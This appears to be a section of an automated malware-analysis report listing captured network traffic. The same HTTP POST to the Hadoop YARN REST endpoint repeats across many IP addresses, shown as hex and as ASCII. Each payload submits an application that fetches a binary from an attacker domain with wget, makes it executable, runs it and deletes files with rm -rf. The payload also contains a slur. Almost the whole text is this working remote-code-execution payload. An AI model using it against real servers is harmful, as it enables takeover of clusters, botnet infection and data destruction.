{"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 81.209.218.53:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 197.159.201.249:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 197.159.201.249:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 197.159.201.249:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 192.126.40.239:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 192.126.40.239:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 192.126.40.239:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 204.235.25.185:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 254.30.40.98:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 142.172.118.111:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 